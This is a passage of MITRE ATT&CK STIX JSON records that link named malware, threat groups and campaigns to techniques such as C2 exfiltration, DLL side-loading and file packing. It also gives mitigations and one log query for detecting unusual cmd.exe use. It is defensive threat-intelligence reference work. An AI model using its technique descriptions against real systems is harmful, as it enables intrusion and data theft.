2018)", "relationship_type": "uses", "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff2f9b25-f36a-4031-8013-1e746cc40948", "type": "relationship", "created": "2022-01-11T14:58:01.890Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}], "modified": "2022-01-11T16:03:19.612Z", "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) can list signed PnP drivers for smartcard readers.(Citation: Prevailion DarkWatchman 2021)", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff397dfb-a231-423f-8be0-be01eb2c9d4d", "type": "relationship", "created": "2020-08-10T14:56:56.689Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T15:20:43.105Z", "description": "Periodically review user accounts and remove those that are inactive or unnecessary. Limit the ability for user accounts to create additional accounts.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff3ade9d-2665-4794-bb1e-cb436d790f3f", "type": "relationship", "created": "2021-05-26T15:05:36.548Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}], "modified": "2021-05-26T15:39:51.029Z", "description": "[SombRAT](https://attack.mitre.org/software/S0615) can execute <code>getinfo</code> to enumerate the computer name and OS version of a compromised system.(Citation: BlackBerry CostaRicto November 2020)", "relationship_type": "uses", "source_ref": "malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff3b4b17-7d3f-43a9-8e9a-ce56909da725", "type": "relationship", "created": "2020-05-18T19:37:52.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro POWERSTATS V3 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}], "modified": "2020-05-18T19:37:52.273Z", "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has used <code>get_tasklist</code> to discover processes on the compromised host.(Citation: TrendMicro POWERSTATS V3 June 2019)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff3d2ebf-ea7b-4fd2-a524-9a6f20bcf3e3", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Comnie", "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}], "modified": "2020-03-17T00:43:32.012Z", "description": "[Comnie](https://attack.mitre.org/software/S0244) uses RC4 and Base64 to obfuscate strings.(Citation: Palo Alto Comnie)", "relationship_type": "uses", "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff438715-ffa8-4fa2-a69e-7126dd60bfb3", "type": "relationship", "created": "2020-06-11T19:52:07.350Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Rocke August 2018", "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html", "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}], "modified": "2020-06-11T19:52:07.350Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) has used shell scripts which download mining executables and saves them with the filename \"java\".(Citation: Talos Rocke August 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ff4440ce-f6b6-4e59-9333-4f4a3b96a2e4", "created": "2023-01-03T18:47:53.795Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.", "url": "https://www.mandiant.com/resources/apt41-us-state-governments"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-04T18:24:30.414Z", "description": "During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used the Cloudflare services for C2 communications.(Citation: Mandiant APT41)", "relationship_type": "uses", "source_ref": "campaign--ba6dfa37-f401-4140-88b0-8938f2895e61", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff471404-75be-4ebe-a585-4b6d1d27887e", "type": "relationship", "created": "2021-10-11T18:53:48.805Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Bandook Nov 2020", "url": "https://research.checkpoint.com/2020/bandook-signed-delivered/", "description": "Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}], "modified": "2021-10-11T18:53:48.805Z", "description": "[Bandook](https://attack.mitre.org/software/S0234) was signed with valid Certum certificates.(Citation: CheckPoint Bandook Nov 2020) ", "relationship_type": "uses", "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff495a54-08f1-4b0f-b44d-6bbeb5240225", "type": "relationship", "created": "2021-11-29T20:22:53.313Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "modified": "2021-11-29T20:22:53.313Z", "description": "[Pandora](https://attack.mitre.org/software/S0664) can write an encrypted token to the Registry to enable processing of remote commands.(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "malware--a545456a-f9a7-47ad-9ea6-8b017def38d1", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff49e4df-4693-4df5-adf8-15e765963155", "type": "relationship", "created": "2021-01-27T20:39:52.147Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ATT Sidewinder January 2021", "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}], "modified": "2021-04-06T22:07:34.193Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used DLL side-loading to drop and execute malicious payloads including the hijacking of the legitimate Windows application file rekeywiz.exe.(Citation: ATT Sidewinder January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ff4cd6a5-1261-4f64-9f27-3507147be7ec", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:04:42.053Z", "description": "Monitor for newly executed processes that may abuse the Windows command shell for execution.\n\nNote: Try an Analytic by creating a baseline of parent processes of [cmd](https://attack.mitre.org/software/S0106) seen over the last 30 days and a list of parent processes of [cmd](https://attack.mitre.org/software/S0106) seen today. Parent processes in the baseline are removed from the set of parent processes seen today, leaving a list of new parent processes. This analytic attempts to identify suspicious programs spawning [cmd](https://attack.mitre.org/software/S0106) by looking for programs that do not normally create [cmd](https://attack.mitre.org/software/S0106).\u00a0 It is very common for some programs to spawn [cmd](https://attack.mitre.org/software/S0106) as a subprocess, for example to run batch files or Windows commands. However, many processes don\u2019t routinely launch a command prompt - e.g., Microsoft Outlook. A command prompt being launched from a process that normally doesn\u2019t launch command prompts could be the result of malicious code being injected into that process, or of an attacker replacing a legitimate program with a malicious one.\n\nAnalytic 1 - Unusual Command Execution\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND CommandLine=\u201c*cmd.exe*\u201d AND (CommandLine REGEXP \"./c.*\" OR CommandLine REGEXP \".*._ \\/k.*\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff4e1b0e-eea2-4329-aecc-e5353be8c1f4", "type": "relationship", "created": "2017-05-31T21:33:27.049Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant No Easy Breach", "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"}], "modified": "2019-07-25T14:25:53.183Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) used UPX to pack files.(Citation: Mandiant No Easy Breach)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ff500c79-fa27-4fe3-a3c2-8c5d20031824", "created": "2021-10-01T01:57:31.607Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Intelligence Group", "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.", "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}, {"source_name": "Aqua TeamTNT August 2020", "description": "Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021.", "url": "https://blog.aquasec.com/container-security-tnt-container-attack"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-01T17:31:07.718Z", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has leveraged iplogger.org to send collected data back to C2.(Citation: Aqua TeamTNT August 2020)(Citation: Cisco Talos Intelligence Group)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff53be5e-2a57-4a9e-a0c1-cc075c1331c4", "type": "relationship", "created": "2019-04-16T17:43:42.921Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT33 Guardrail", "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}], "modified": "2019-04-22T19:59:21.523Z", "description": "[POWERTON](https://attack.mitre.org/software/S0371) can use WMI for persistence.(Citation: FireEye APT33 Guardrail)", "relationship_type": "uses", "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff5b6f0f-df63-4561-8c62-4894b3e424b7", "type": "relationship", "created": "2021-08-24T14:13:17.218Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10292089-1.v2 TAIDOOR August 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", "description": "CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 \u2013 Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}], "modified": "2021-08-24T14:13:17.218Z", "description": "[Taidoor](https://attack.mitre.org/software/S0011) can use TCP for C2 communications.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)", "relationship_type": "uses", "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff5d1433-de7a-4aba-95c4-5d92782589f9", "type": "relationship", "created": "2020-06-11T16:19:17.925Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.664Z", "description": "(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ff5d439a-c480-45cc-be0c-2fac7f786eda", "created": "2024-01-09T19:24:26.822Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat/106799/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-09T19:24:26.822Z", "description": "[Samurai](https://attack.mitre.org/software/S1099) can leverage an exfiltration module to download arbitrary files from compromised machines.(Citation: Kaspersky ToddyCat June 2022)", "relationship_type": "uses", "source_ref": "malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff5db468-c3a7-4292-9a50-237cf163cb37", "type": "relationship", "created": "2020-03-14T22:34:03.202Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-26T23:15:47.998Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff61ebde-befe-488a-89d0-dc4c49e60d59", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", "source_name": "F-Secure Cosmicduke"}], "modified": "2021-07-20T21:57:36.228Z", "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from removable media with file extensions and keywords that match a predefined list.(Citation: F-Secure Cosmicduke)", "relationship_type": "uses", "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ff6c2e20-53c1-4840-8bc6-e404e627ad82", "created": "2024-01-05T20:26:01.335Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat/106799/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-05T20:26:01.335Z", "description": "[Samurai](https://attack.mitre.org/software/S1099) can check for the presence and version of the .NET framework.(Citation: Kaspersky ToddyCat June 2022)", "relationship_type": "uses", "source_ref": "malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff6d64fb-c41c-409b-91b0-e4fb9d9edba1", "type": "relationship", "created": "2020-05-07T02:33:06.900Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Imminent Unit42 Dec2019", "url": "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", "description": "Unit 42. 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Retrieved July 1, 2022.", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-02T18:54:07.062Z", "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) has used compromised web servers as part of their operational infrastructure.(Citation: TrendMicro EarthLusca 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", "target_ref": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff6fd36b-bc49-4df7-86f0-62b9d1fc9754", "type": "relationship", "created": "2020-06-09T18:31:56.350Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.161Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used Right-to-Left Override to deceive victims into executing several strains of malware.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ff709d3a-de60-4e1d-abd1-ad30e6837a62", "created": "2022-06-09T21:14:01.292Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes Saint Bot April 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/", "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) can collect files and information from a compromised host.(Citation: Malwarebytes Saint Bot April 2021)", "modified": "2022-06-09T21:14:01.292Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ff746d3d-2ebe-46e9-87f6-5ddd8abbfda3", "created": "2023-05-22T19:24:06.304Z", "revoked": false, "external_references": [{"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.", "url": "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-05-22T19:24:06.304Z", "description": "During [C0026](https://attack.mitre.org/campaigns/C0026), the threat actors collected documents from compromised hosts.(Citation: Mandiant Suspected Turla Campaign February 2023)", "relationship_type": "uses", "source_ref": "campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff7c818b-81a0-48b2-86ea-2f95e2c3ef55", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Monitor and analyze activity related to items associated with CPL files, such as the control.exe. Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro CPL Malware Jan 2014", "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"}]}, {"type": "relationship", "id": "relationship--ff7ecfd6-bbe0-4fc6-9ea2-551ff2359157", "created": "2022-09-16T21:30:17.171Z", "revoked": false, "external_references": [{"source_name": "McAfee Honeybee", "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-16T21:30:17.171Z", "description": "During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors modified the MaoCheng dropper so its icon appeared as a Word document.(Citation: McAfee Honeybee)", "relationship_type": "uses", "source_ref": "campaign--4553292d-12c6-4a93-934d-12160370d4e0", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", 